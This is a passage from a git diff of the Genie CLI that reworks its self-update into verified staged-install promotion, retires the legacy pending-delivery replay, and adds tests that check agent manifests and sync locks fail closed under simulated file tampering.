- preserveSource: true, - expectedPreimage, - expectedPayloadFingerprint: pending.payload.binary, + log('Promoting verified release generation...'); + recoverPendingInstallPromotions({ genieHome: GENIE_HOME }); + admitted = admitExternalInstallStaging({ + genieHome: GENIE_HOME, + externalStagingRoot: extractedRoot, + expectedVersion: manifest.version, }); - diagnosticsCtx.previousBackup = swapResult.oldVersionBackup; - - // Sync the per-binary VERSION stamp BEFORE verifying. The compiled binary - // reads `dirname(process.execPath)/VERSION` at startup (see src/lib/version.ts - // readVersionFromPackageJson). The atomic swap replaces `genie` but leaves - // its sibling VERSION file untouched — so `targetBin --version` would still - // report the OLD version even when the bytes on disk match the new release. - // That's what bit us on 2026-05-22 (host khal-os): three consecutive updates - // landed the correct binary but reported the stale version, tripping the - // post-swap guard and the PATH advisory both as collateral. Copy the - // tarball's VERSION file next to the binary so the executable agrees with - // what we just installed; fall back to writing manifest.version directly if - // the tarball is missing it (older builds). - syncBinaryVersionStamp(extractDir, GENIE_BIN, manifest.version); - - // Belt-and-suspenders: re-read the on-disk binary BEFORE printing success. - // `atomicBinarySwap` returning `{ swapped: true }` is necessary but not - // sufficient — see verifySwappedBinary for the silent-failure case observed - // on 2026-05-22. Any mismatch here throws and aborts the delivery so the - // operator never sees a misleading "✔ Genie binary updated" banner. - verifySwappedBinary(targetBin, manifest.version, { - stagingDir: GENIE_BIN_STAGING, - previousDir: GENIE_BIN_PREVIOUS, - }); - if (swapResult.oldVersionBackup !== null) { - assertAuthenticatedBinaryBackup(swapResult.oldVersionBackup, expectedPreimage); + try { + verifyAdmittedInstallStagingPayload(admitted); + const promotion = promoteStagedInstall({ + genieHome: GENIE_HOME, + stagingRoot: admitted.stagingRoot, + expectedVersion: manifest.version, + dependencies: { + beforeRename: () => verifyInstallStagingDirectory(admitted as InstallStagingDirectoryGuard), + }, + verifyVersion: ({ binaryPath, expectedVersion, phase }) => { + verifyInstallStagingDirectory(admitted as InstallStagingDirectoryGuard); + if (phase === 'staged') { + verifyAdmittedInstallStagingPayload(admitted as InstallStagingDirectoryGuard); + } + if (expectedVersion === null) return false; + try { + const output = execFileSync(binaryPath, ['--version'], { + encoding: 'utf8', + stdio: ['ignore', 'pipe', 'ignore'], + }); + const reported = output.match(/\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)*/)?.[0]; + return reported !== undefined && normalizeVersion(reported) === normalizeVersion(expectedVersion); + } catch { + return false; + } + }, + }); + promotionComplete = true; + diagnosticsCtx.previousBackup = promotion.priorBinaryPath ?? null; + success(`Genie release generation updated → v${manifest.version}`); + + // Post-swap divergence guard: ~/.genie/bin/genie now holds the new + // binary, but if $PATH resolves `genie` to a different file (a pre-G5 + // copy or a shadowing shim) the user keeps running the old version and + // would never escape the update prompt. Measure the actual outcome and + // tell them exactly how to fix it rather than silently "succeeding". + // + // Suppression: when `live` and `canonical` resolve to the same file, a + // version mismatch is upstream swap corruption (already caught by + // verifySwappedBinary above), not a PATH problem. The legacy heuristic + // generated `ln -sf canonical canonical` — a useless self-symlink. See + // shouldEmitPathDivergenceWarning for the full rule set. try { - pruneSameVersionBackups(GENIE_BIN_PREVIOUS, oldVersion, swapResult.oldVersionBackup); - } catch (pruneError) { - log(`Backup retention cleanup deferred: ${errMsg(pruneError)}`); + const live = resolveLiveBinaryPath(); + if (live) { + let liveVer: string | null = null; + try { + liveVer = + execFileSync(live, ['--version'], { encoding: 'utf-8', timeout: 3000 }) + .trim() + .match(/\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)*/)?.[0] ?? null; + } catch { + // unknowable — skip the advisory + } + const canonical = join(GENIE_BIN, 'genie'); + let canonicalReal = canonical; + try { + canonicalReal = realpathSync(canonical); + } catch { + // canonical may not be a symlink — keep as-is + } + const emit = shouldEmitPathDivergenceWarning({ + live, + canonical, + canonicalReal, + liveVersion: liveVer, + intendedVersion: manifest.version, + }); + if (emit) { + log(''); + log('⚠ Your PATH `genie` is NOT the binary that was just updated.'); + log(` Updated : ${canonical} → v${manifest.version}`); + log(` which genie: ${live} (still v${liveVer ?? 'unknown'})`); + log(' Fix it:'); + log(` ln -sf ${canonical} ${live} && hash -r`); + log(' (or put ~/.genie/bin first on $PATH)'); + } + } + } catch { + // advisory only — never fail the update for this } - } - success(`Genie binary updated → v${manifest.version}${swapResult.fallbackUsed ? ' (cross-device fallback)' : ''}`); - - // Post-swap divergence guard: ~/.genie/bin/genie now holds the new - // binary, but if $PATH resolves `genie` to a different file (a pre-G5 - // copy or a shadowing shim) the user keeps running the old version and - // would never escape the update prompt. Measure the actual outcome and - // tell them exactly how to fix it rather than silently "succeeding". - // - // Suppression: when `live` and `canonical` resolve to the same file, a - // version mismatch is upstream swap corruption (already caught by - // verifySwappedBinary above), not a PATH problem. The legacy heuristic - // generated `ln -sf canonical canonical` — a useless self-symlink. See - // shouldEmitPathDivergenceWarning for the full rule set. - try { - const live = resolveLiveBinaryPath(); - if (live) { - let liveVer: string | null = null; - try { - liveVer = - execFileSync(live, ['--version'], { encoding: 'utf-8', timeout: 3000 }) - .trim() - .match(/\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)*/)?.[0] ?? null; - } catch { - // unknowable — skip the advisory - } - const canonical = join(GENIE_BIN, 'genie'); - let canonicalReal = canonical; + const auxiliaryOutcomes = syncAuxiliaryContent(GENIE_BIN, GENIE_HOME, undefined, true); + finalizeAuxiliaryDelivery(auxiliaryOutcomes, { + writeVersion: () => { + // This stamp follows verified content convergence. It is never used as + // a substitute for per-tree digest comparison, and a failed stamp keeps + // the durable transaction retryable. + writeFileSync(join(GENIE_HOME, 'VERSION'), `${manifest.version}\n`); + }, + cleanupExtraction: () => { + cleanupStagingArtifacts(externalRoot, tarballPath); + }, + }); + return auxiliaryOutcomes; + } finally { + if (admitted !== null) { try { - canonicalReal = realpathSync(canonical); - } catch { - // canonical may not be a symlink — keep as-is - } - const emit = shouldEmitPathDivergenceWarning({ - live, - canonical, - canonicalReal, - liveVersion: liveVer, - intendedVersion: manifest.version, - }); - if (emit) { - log(''); - log('⚠ Your PATH `genie` is NOT the binary that was just updated.'); - log(` Updated : ${canonical} → v${manifest.version}`); - log(` which genie: ${live} (still v${liveVer ?? 'unknown'})`); - log(' Fix it:'); - log(` ln -sf ${canonical} ${live} && hash -r`); - log(' (or put ~/.genie/bin first on $PATH)'); + if (promotionComplete) removeInstallStagingDirectory(admitted); + } finally { + closeInstallStagingDirectory(admitted); } } - } catch { - // advisory only — never fail the update for this } - - const auxiliaryOutcomes = syncAuxiliaryContent(extractDir); - finalizeAuxiliaryDelivery(auxiliaryOutcomes, { - writeVersion: () => { - // This stamp follows verified content convergence. It is never used as - // a substitute for per-tree digest comparison, and a failed stamp keeps - // the durable transaction retryable. - writeFileSync(join(GENIE_HOME, 'VERSION'), `${manifest.version}\n`); - }, - cleanupExtraction: () => { - clearPendingDelivery(); - cleanupStagingArtifacts(extractDir, tarballPath); - }, - }); - return auxiliaryOutcomes; } interface PendingFileFingerprint { @@ -2636,7 +2513,7 @@ export interface PendingDeliveryRecord { }; } -export interface PendingDeliveryPaths { +interface PendingDeliveryPaths { version: string; extractDir: string; tarballPath: string; @@ -2650,61 +2527,11 @@ export interface ResumePendingDeliveryOptions { genieBin?: string; stagingRoot?: string; pendingPath?: string; - operations?: Partial; - ensureBinary?: (record: PendingDeliveryRecord) => void; - /** Test seam for the post-stamp executable version check. */ - runVersion?: (targetBin: string) => string; -} - -/** Persist the verified extracted payload before the first live mutation. */ -export function recordPendingDelivery( - pending: PendingDeliveryPaths, - pendingPath = join(GENIE_HOME, PENDING_DELIVERY_NAME), - stagingRoot = GENIE_BIN_STAGING, -): PendingDeliveryRecord { - assertPendingDeliveryPaths(pending, stagingRoot); - const payload = fingerprintPendingPayload(pending); - payload.previousBinary = fingerprintOptionalPhysicalFile( - pending.previousBinaryPath ?? join(dirname(stagingRoot), 'genie'), - 'previous live binary', - ); - const record: PendingDeliveryRecord = { - schemaVersion: 4, - version: pending.version, - extractDir: pending.extractDir, - tarballPath: pending.tarballPath, - previousVersion: pending.previousVersion ?? normalizeVersion(VERSION), - createdAt: new Date().toISOString(), - payload, - }; - mkdirSync(dirname(pendingPath), { recursive: true }); - const staging = `${pendingPath}.staging-${process.pid}`; - writeFileSync(staging, `${JSON.stringify(record, null, 2)}\n`, { encoding: 'utf8', mode: 0o600 }); - const stagingFd = openSync(staging, 'r'); - try { - fsyncSync(stagingFd); - } finally { - closeSync(stagingFd); - } - renameSync(staging, pendingPath); - try { - const directoryFd = openSync(dirname(pendingPath), 'r'); - try { - fsyncSync(directoryFd); - } finally { - closeSync(directoryFd); - } - } catch { - // Some platforms do not support opening directories; the file fsync and - // atomic rename still provide the strongest available journal durability. - } - return record; } /** - * Complete a previously verified release transaction. This includes the - * binary when a process died between journaling and swap, then every auxiliary - * tree and the root VERSION stamp. The journal is cleared last. + * Read and revalidate legacy pending-delivery evidence, but never replay it. + * Only the install-promotion journal can authorize release mutation now. */ export function resumePendingDelivery(options: ResumePendingDeliveryOptions = {}): boolean { const genieHome = options.genieHome ?? GENIE_HOME; @@ -2714,145 +2541,24 @@ export function resumePendingDelivery(options: ResumePendingDeliveryOptions = {} const record = readPendingDelivery(pendingPath, stagingRoot); if (record === null) return false; - // Revalidate every retained artifact before the first live mutation. The - // journal records physical bytes/modes and complete auxiliary-tree digests, - // including absence, so a modified or substituted extraction cannot be - // resumed merely because its paths and version string still match. + // Revalidate all retained artifacts before reporting the actionable stop. revalidatePendingPayload(record); - - const ensureBinary = - options.ensureBinary ?? - (() => { - const targetBin = join(genieBin, 'genie'); - const previousDir = join(genieBin, '.previous'); - const live = fingerprintOptionalPhysicalFile(targetBin, 'live binary'); - const liveAlreadyNew = - live.present && live.fingerprint !== null && fingerprintsEqual(live.fingerprint, record.payload.binary); - if (liveAlreadyNew) { - assertAuthenticatedAlreadyNewBackup(record, previousDir); - } else { - const expectedPrevious = record.payload.previousBinary; - if (expectedPrevious !== undefined) { - const samePresence = live.present === expectedPrevious.present; - const sameFingerprint = - !live.present || - (live.fingerprint !== null && - expectedPrevious.fingerprint !== null && - fingerprintsEqual(live.fingerprint, expectedPrevious.fingerprint)); - if (!samePresence || !sameFingerprint) { - throw new Error('pending delivery live binary does not match either the authenticated preimage or payload'); - } - } - const stagedBin = join(record.extractDir, 'genie'); - if (!existsSync(stagedBin)) throw new Error(`pending delivery binary is missing at ${stagedBin}`); - chmodSync(stagedBin, 0o755); - const swap = atomicBinarySwap( - stagedBin, - targetBin, - previousDir, - record.previousVersion ?? normalizeVersion(VERSION), - { - preserveSource: true, - expectedPreimage: record.payload.previousBinary, - expectedPayloadFingerprint: record.payload.binary, - }, - ); - const expectedPreviousFingerprint = record.payload.previousBinary?.fingerprint; - if ( - swap.oldVersionBackup !== null && - expectedPreviousFingerprint !== undefined && - expectedPreviousFingerprint !== null && - !fingerprintsEqual( - fingerprintPhysicalFile(swap.oldVersionBackup, 'previous binary backup'), - expectedPreviousFingerprint, - ) - ) { - throw new Error( - `pending delivery rollback backup does not match the authenticated preimage: ${swap.oldVersionBackup}`, - ); - } - } - // A crash after swap but before this stamp reaches this branch with the - // payload bytes already live. Repair metadata only; never swap new over - // new or manufacture a mislabeled rollback backup. - syncBinaryVersionStamp(record.extractDir, genieBin, record.version); - verifySwappedBinary(targetBin, record.version, { - runVersion: options.runVersion, - stagingDir: stagingRoot, - previousDir, - }); - }); - ensureBinary(record); - - const previousDir = join(genieBin, '.previous'); - const priorFingerprint = record.payload.previousBinary?.fingerprint ?? null; - const retainedBackup = - record.previousVersion === null - ? null - : priorFingerprint === null - ? newestSameVersionBackup(previousDir, record.previousVersion) - : matchingSameVersionBackup(previousDir, record.previousVersion, priorFingerprint); - if (retainedBackup !== null && record.previousVersion !== null) { - if (priorFingerprint === null) pruneSameVersionBackups(previousDir, record.previousVersion, retainedBackup); - else pruneMatchingSameVersionBackups(previousDir, record.previousVersion, retainedBackup, priorFingerprint); - } - - const outcomes = syncAuxiliaryContent(record.extractDir, genieHome, options.operations); - finalizeAuxiliaryDelivery(outcomes, { - writeVersion: () => writeFileSync(join(genieHome, 'VERSION'), `${record.version}\n`), - cleanupExtraction: () => { - clearPendingDelivery(pendingPath); - cleanupStagingArtifacts(record.extractDir, record.tarballPath); - }, - }); - return true; -} - -/** - * An explicit rollback supersedes any forward-delivery journal. Quarantine the - * journal atomically before touching the live binary so a crash cannot replay - * the superseded release on the next update. - */ -export function quarantinePendingDelivery(pendingPath = join(GENIE_HOME, PENDING_DELIVERY_NAME)): string | null { - let stat: ReturnType; - try { - stat = lstatSync(pendingPath); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') return null; - throw error; - } - if (!stat.isFile() || stat.isSymbolicLink()) { - throw new Error(`pending delivery journal is not a physical file: ${pendingPath}`); - } - const quarantined = `${pendingPath}.cancelled-${Date.now()}-${process.pid}`; - renameSync(pendingPath, quarantined); - try { - const directoryFd = openSync(dirname(pendingPath), 'r'); - try { - fsyncSync(directoryFd); - } finally { - closeSync(directoryFd); - } - } catch { - // Directory fsync is unavailable on some supported platforms; rename still - // prevents ordinary recovery from observing the superseded journal. - } - return quarantined; + throw new Error( + `legacy pending delivery is retained read-only at ${pendingPath}; its executable transaction cannot authenticate an exact genie+VERSION generation. Inspect the retained artifacts, relocate the legacy journal, and rerun \`genie update\` for a signed install`, + ); } function readPendingDelivery(path: string, stagingRoot: string): PendingDeliveryRecord | null { - let stat: ReturnType; + let bytes: Buffer; try { - stat = lstatSync(path); + bytes = readPrivatePhysicalFile(path); } catch (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return null; throw error; } - if (!stat.isFile() || stat.isSymbolicLink()) - throw new Error(`pending delivery journal is not a physical file: ${path}`); let parsed: unknown; try { - parsed = JSON.parse(readFileSync(path, 'utf8')); + parsed = JSON.parse(bytes.toString('utf8')); } catch (error) { throw new Error(`pending delivery journal is unreadable: ${errMsg(error)}`); } @@ -2883,88 +2589,6 @@ function readPendingDelivery(path: string, stagingRoot: string): PendingDelivery return record; } -function newestSameVersionBackup(previousDir: string, version: string): string | null { - let entries: string[]; - try { - entries = readdirSync(previousDir); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') return null; - throw error; - } - const prefix = `genie-${version}`; - const candidates = entries - .filter((entry) => entry === prefix || entry.startsWith(`${prefix}.`)) - .map((entry) => { - const path = join(previousDir, entry); - const stat = lstatSync(path); - if (!stat.isFile() || stat.isSymbolicLink()) { - throw new Error(`refusing to inspect non-physical binary backup: ${path}`); - } - return { path, mtimeMs: stat.mtimeMs }; - }) - .sort((left, right) => right.mtimeMs - left.mtimeMs || right.path.localeCompare(left.path)); - return candidates[0]?.path ?? null; -} - -function matchingSameVersionBackup( - previousDir: string, - version: string, - expected: PendingFileFingerprint, -): string | null { - const candidates = sameVersionBackupPaths(previousDir, version); - return ( - candidates.find((path) => fingerprintsEqual(fingerprintPhysicalFile(path, 'previous binary backup'), expected)) ?? - null - ); -} - -function assertAuthenticatedAlreadyNewBackup(record: PendingDeliveryRecord, previousDir: string): void { - const expectedPrevious = record.payload.previousBinary; - if (record.schemaVersion !== 4 || expectedPrevious?.present !== true) return; - if ( - expectedPrevious.fingerprint === null || - record.previousVersion === null || - matchingSameVersionBackup(previousDir, record.previousVersion, expectedPrevious.fingerprint) === null - ) { - throw new Error( - 'pending delivery binary is already live but no authenticated rollback backup matches the journaled preimage', - ); - } -} - -function pruneMatchingSameVersionBackups( - previousDir: string, - version: string, - retainedPath: string, - expected: PendingFileFingerprint, -): string[] { - const retained = resolve(retainedPath); - const removed: string[] = []; - for (const path of sameVersionBackupPaths(previousDir, version)) { - if (resolve(path) === retained) continue; - if (!fingerprintsEqual(fingerprintPhysicalFile(path, 'previous binary backup'), expected)) continue; - rmSync(path); - removed.push(path); - } - if (removed.length > 0) fsyncDirectory(previousDir); - return removed; -} - -function sameVersionBackupPaths(previousDir: string, version: string): string[] { - let entries: string[]; - try { - entries = readdirSync(previousDir); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') return []; - throw error; - } - const prefix = `genie-${version}`; - return entries - .filter((entry) => entry === prefix || entry.startsWith(`${prefix}.`)) - .map((entry) => join(previousDir, entry)) - .sort(); -} - function assertPendingDeliveryPaths(pending: PendingDeliveryPaths, stagingRoot: string): void { if (parseGenieVersion(pending.version) === null) throw new Error(`invalid pending delivery version: ${pending.version}`); @@ -3144,10 +2768,6 @@ function isPendingPayloadFingerprint(value: unknown): value is PendingDeliveryRe }); } -function clearPendingDelivery(path = join(GENIE_HOME, PENDING_DELIVERY_NAME)): void { - rmSync(path, { force: true }); -} - export interface AuxiliaryDeliveryFinalizers { writeVersion: () => void; cleanupExtraction: () => void; @@ -3205,6 +2825,7 @@ export function syncAuxiliaryContent( extractDir: string, genieHome = GENIE_HOME, operations?: Partial, + removeSourceOnSuccess = false, ): AuxiliaryTreeOutcome[] { const targets: Array<{ src: string; dest: string; label: string }> = [ { src: join(extractDir, 'plugins'), dest: join(genieHome, 'plugins'), label: 'plugins' }, @@ -3218,6 +2839,7 @@ export function syncAuxiliaryContent( label: target.label, source: target.src, destination: target.dest, + removeSourceOnSuccess, excludedEntryNames: FRAMEWORK_MARKER_FILES, operations, }), @@ -3242,12 +2864,10 @@ function printAuxiliaryOutcome(outcome: AuxiliaryTreeOutcome): void { } async function runRollback(): Promise { - log('Rolling back to previous binary...'); + log('Checking legacy rollback eligibility...'); try { - const quarantined = quarantinePendingDelivery(); const result = rollbackBinary(); success(`Restored ${result.from} → ${result.restored}`); - if (quarantined) log(`Superseded pending delivery quarantined at ${quarantined}`); console.log(); } catch (err) { const msg = err instanceof Error ? err.message : String(err); diff --git a/src/genie.ts b/src/genie.ts index d6bc26258..b15e617d0 100644 --- a/src/genie.ts +++ b/src/genie.ts @@ -12,6 +12,7 @@ import { Command, Option } from 'commander'; import { doctorCommand } from './genie-commands/doctor.js'; +import { type InstallPromoteCommandOptions, installPromoteCommand } from './genie-commands/install-promote.js'; import { type InstallOptions, installCommand } from './genie-commands/install.js'; import { type SetupOptions, setupCommand } from './genie-commands/setup.js'; import { @@ -35,6 +36,13 @@ const program = new Command(); program.name('genie').description('Genie CLI - AI-assisted development').version(VERSION); +program + .command('__install-promote', { hidden: true }) + .option('--staging-root ') + .option('--expected-version ') + .option('--self-test') + .action((options: InstallPromoteCommandOptions) => installPromoteCommand(options)); + // Global --no-interactive flag: disables all interactive prompts (scripting safety) program.option('--no-interactive', 'Disable interactive prompts (exit 2 instead of prompting)'); @@ -88,7 +96,9 @@ program .option('--no-verify', 'Skip the post-update binary verify probe') .option('--skip-maintenance', 'Skip the post-update binary verify probe (or set GENIE_UPDATE_SKIP_MAINTENANCE=1)') .addOption( - new Option('--rollback', 'Restore the most recent ~/.genie/bin/.previous binary backup').conflicts('syncOnly'), + new Option('--rollback', 'Check legacy rollback state and print signed-version reinstall guidance').conflicts( + 'syncOnly', + ), ) .addOption( new Option( diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index e1618459d..a942a8463 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -26,6 +26,7 @@ import { readFileSync, readdirSync, readlinkSync, + realpathSync, renameSync, rmSync, symlinkSync, @@ -68,6 +69,7 @@ import { planCodexFallbackRetirement, publishDirectoryViaNameClaim, readAgentFilesManifest, + readAgentFilesManifestState, recoverCodexFallbackRetirements, recoverManagedSkillTransactions, recoverManagedWorkflowTransactions, @@ -151,7 +153,7 @@ interface SetupOptions { } function setup(opts: SetupOptions = {}): Fixture { - const root = mkdtempSync(join(tmpdir(), 'agent-sync-')); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'agent-sync-'))); const genieHome = join(root, 'genie'); const pluginsBase = opts.binLayout ? join(genieHome, 'bin', 'plugins') : join(genieHome, 'plugins'); const pluginRoot = join(pluginsBase, 'genie'); @@ -443,7 +445,7 @@ describe('claude agent fan-out', () => { expect(claude.advisories.some((line) => line.includes('manifest') && line.includes('hard links'))).toBe(true); }); - test('a foreign regular manifest is backed up byte-for-byte before safe adoption', () => { + test('invalid non-JSON manifest bytes fail closed without adoption', () => { present(fixture.claudeDir); const agentsDir = join(fixture.claudeDir, 'agents'); mkdirSync(agentsDir, { recursive: true }); @@ -451,6 +453,28 @@ describe('claude agent fan-out', () => { const foreignBytes = Buffer.from('foreign manifest bytes\n'); writeFileSync(manifestPath, foreignBytes); + const report = run(); + + expect(readFileSync(manifestPath)).toEqual(foreignBytes); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(existsSync(join(agentsDir, 'reviewer.md'))).toBe(false); + expect(report.backupsDir).toBeNull(); + expect( + agentReport(report, 'claude').advisories.some( + (line) => line.includes('manifest') && line.includes('invalid JSON'), + ), + ).toBe(true); + }); + + test('valid foreign JSON remains adoptable with an exact backup', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const foreignBytes = Buffer.from('{"owner":"user"}\n'); + writeFileSync(manifestPath, foreignBytes); + const report = run(); const manifest = readAgentFilesManifest(agentsDir); @@ -462,6 +486,47 @@ describe('claude agent fan-out', () => { ).toBe(true); }); + test('malformed per-file ownership fields never become managed evidence', () => { + const agentsDir = join(fixture.claudeDir, 'agents'); + mkdirSync(agentsDir, { recursive: true }); + const base = { + managedBy: 'genie-agent-sync', + files: { + 'scout.md': { + digest: 'a'.repeat(64), + version: '9.9.9', + syncedAt: '2026-07-10T12:00:00.000Z', + }, + }, + }; + const corruptions: Array<(value: typeof base) => void> = [ + (value) => { + value.files['scout.md'].digest = 'not-a-digest'; + }, + (value) => { + value.files['scout.md'].version = 'v9'; + }, + (value) => { + value.files['scout.md'].syncedAt = 'now'; + }, + ]; + for (const corrupt of corruptions) { + const value = structuredClone(base); + corrupt(value); + writeFileSync(join(agentsDir, MANIFEST_NAME), JSON.stringify(value)); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + expect(readAgentFilesManifestState(agentsDir)).toEqual({ + kind: 'unsafe', + reason: 'it is invalid JSON or claims Genie ownership with an invalid schema', + }); + } + writeFileSync(join(agentsDir, MANIFEST_NAME), '{"managedBy":"genie-agent-sync","files":{'); + expect(readAgentFilesManifestState(agentsDir)).toEqual({ + kind: 'unsafe', + reason: 'it is invalid JSON or claims Genie ownership with an invalid schema', + }); + }); + function backupCollisionPath(): string { return join( dirname(fixture.genieHome), @@ -1126,6 +1191,117 @@ describe('claude agent fan-out', () => { expect(claude.advisories.some((line) => line.includes('preserved replaced staged payload'))).toBe(true); expect(claude.advisories.some((line) => line.includes('commit failed'))).toBe(true); }); + + test('a multiply-linked agent stage is never published or manifest-owned', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const aliasPath = join(fixture.root, 'foreign-agent-stage-alias'); + let stagePath = ''; + + const claude = agentReport( + run({ + beforeAgentFileMutation: (event) => { + if (event.operation !== 'replace' || event.path !== scoutPath) return; + const stageDir = readdirSync(agentsDir).find((name) => name.startsWith('.scout.md.genie-sync.staging-')); + if (stageDir === undefined) throw new Error('agent stage directory not found'); + stagePath = join(agentsDir, stageDir, 'payload'); + linkSync(stagePath, aliasPath); + }, + }), + 'claude', + ); + + expect(stagePath).not.toBe(''); + expect(existsSync(scoutPath)).toBe(false); + expect(readFileSync(aliasPath, 'utf8')).toBe('# scout\n'); + expect(lstatSync(aliasPath).nlink).toBe(2); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + expect(claude.failures?.join('\n')).toContain('staged payload changed'); + }); + + test('a multiply-linked native manifest stage rolls back data and restores the exact base', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + const aliasPath = join(fixture.root, 'foreign-manifest-stage-alias'); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestPublish: ({ stagePath }) => linkSync(stagePath, aliasPath), + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(readFileSync(aliasPath)).not.toEqual(manifestBefore); + // The external alias and original staged name are both preserved; neither + // is the live manifest pathname or owned by its restored base manifest. + expect(lstatSync(aliasPath).nlink).toBe(2); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.join('\n')).toContain('staged manifest payload changed before publish'); + }); + + test('successful manifest publication preserves a replacement at the captured-base pathname', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const replacementBytes = Buffer.from('foreign captured-base replacement\n'); + let capturedBasePath = ''; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestPublish: () => { + const captureDir = readdirSync(agentsDir).find((name) => name.startsWith(`.${MANIFEST_NAME}.manifest-old-`)); + if (captureDir === undefined) throw new Error('captured base manifest not found'); + capturedBasePath = join(agentsDir, captureDir, 'object'); + rmSync(capturedBasePath); + writeFileSync(capturedBasePath, replacementBytes); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath, 'utf8')).toBe('# scout v2\n'); + expect(readFileSync(capturedBasePath)).toEqual(replacementBytes); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']?.digest).toBe(computeFileDigest(scoutPath)); + expect(claude.failures).toBeUndefined(); + expect(claude.advisories.join('\n')).toContain('preserved replaced previous manifest'); + }); + + test('a failed retire callback that installs a live replacement still relinquishes manifest ownership', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const replacementBytes = Buffer.from('# foreign replacement during failed retire\n'); + rmSync(join(fixture.pluginRoot, 'agents', 'scout.md')); + + const claude = agentReport( + run({ + beforeAgentFileMutation: (event) => { + if (event.operation !== 'remove' || event.path !== scoutPath) return; + writeFileSync(scoutPath, replacementBytes); + throw new Error('retire callback failed after foreign replacement'); + }, + }), + 'claude', + ); + + expect(readFileSync(scoutPath)).toEqual(replacementBytes); + expect(readFileSync(`${scoutPath}.genie-kept`, 'utf8')).toBe('# scout\n'); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); + expect(readAgentFilesManifest(agentsDir)?.files['reviewer.md']).toBeDefined(); + expect(claude.failures?.join('\n')).toContain('retire callback failed after foreign replacement'); + }); }); // --------------------------------------------------------------------------- @@ -2565,7 +2741,7 @@ describe('cross-process sync lock', () => { test('a stale legacy regular-file lock is captured safely and upgraded', () => { present(fixture.claudeDir); const lockPath = join(fixture.genieHome, LOCK_NAME); - const legacyBytes = Buffer.from('999:legacy-token\n'); + const legacyBytes = Buffer.from(`${DEAD_PID}:${'a'.repeat(32)}:unknown\n`); writeFileSync(lockPath, legacyBytes); const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; utimesSync(lockPath, staleSec, staleSec); @@ -2626,6 +2802,98 @@ describe('cross-process sync lock', () => { expect(lstatSync(symlinkHome).isSymbolicLink()).toBe(true); }); + test('lock publication treats a foreign empty directory as contention and never replaces it', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const foreignIdentity = { dev: -1, ino: -1, mode: -1 }; + + const lock = acquireAgentSyncLock(fixture.genieHome, { + beforePublish: ({ path }) => { + expect(path).toBe(lockPath); + mkdirSync(path); + const stat = lstatSync(path); + foreignIdentity.dev = stat.dev; + foreignIdentity.ino = stat.ino; + foreignIdentity.mode = stat.mode; + }, + }); + + expect(lock).toBeNull(); + const after = lstatSync(lockPath); + expect({ dev: after.dev, ino: after.ino, mode: after.mode }).toEqual(foreignIdentity); + expect(readdirSync(lockPath)).toEqual([]); + expect(readdirSync(fixture.genieHome).some((name) => name.startsWith(`${LOCK_NAME}.stage-`))).toBe(false); + }); + + test('portable lock publication uses one O_EXCL file and excludes a concurrent contender', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + + const holder = acquireAgentSyncLock(fixture.genieHome, { forcePortableLockPublish: true }); + + expect(holder).not.toBeNull(); + expect(lstatSync(lockPath).isFile()).toBe(true); + expect(readFileSync(lockPath, 'utf8')).toMatch(/^\d+:[a-f0-9]{32}:(?:unknown|[a-f0-9]{64}):[a-f0-9]{64}\n$/); + expect(acquireAgentSyncLock(fixture.genieHome, { forcePortableLockPublish: true })).toBeNull(); + holder?.release(); + expect(existsSync(lockPath)).toBe(false); + }); + + test('portable lock writes remain bound to the claimed inode and never clobber a pathname replacement', () => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const displacedClaim = join(fixture.root, 'portable-lock-displaced-claim'); + const foreignBytes = Buffer.from('foreign replacement\n'); + + expect(() => + acquireAgentSyncLock(fixture.genieHome, { + forcePortableLockPublish: true, + afterPortableLockClaim: ({ path }) => { + renameSync(path, displacedClaim); + writeFileSync(path, foreignBytes); + }, + }), + ).toThrow('ownership could not be verified'); + + expect(readFileSync(lockPath)).toEqual(foreignBytes); + expect(readFileSync(displacedClaim, 'utf8')).toMatch(/^\d+:[a-f0-9]{32}:(?:unknown|[a-f0-9]{64}):[a-f0-9]{64}\n$/); + }); + + test('a SIGKILL after the portable O_EXCL claim leaves stale debris that the next acquisition recovers', async 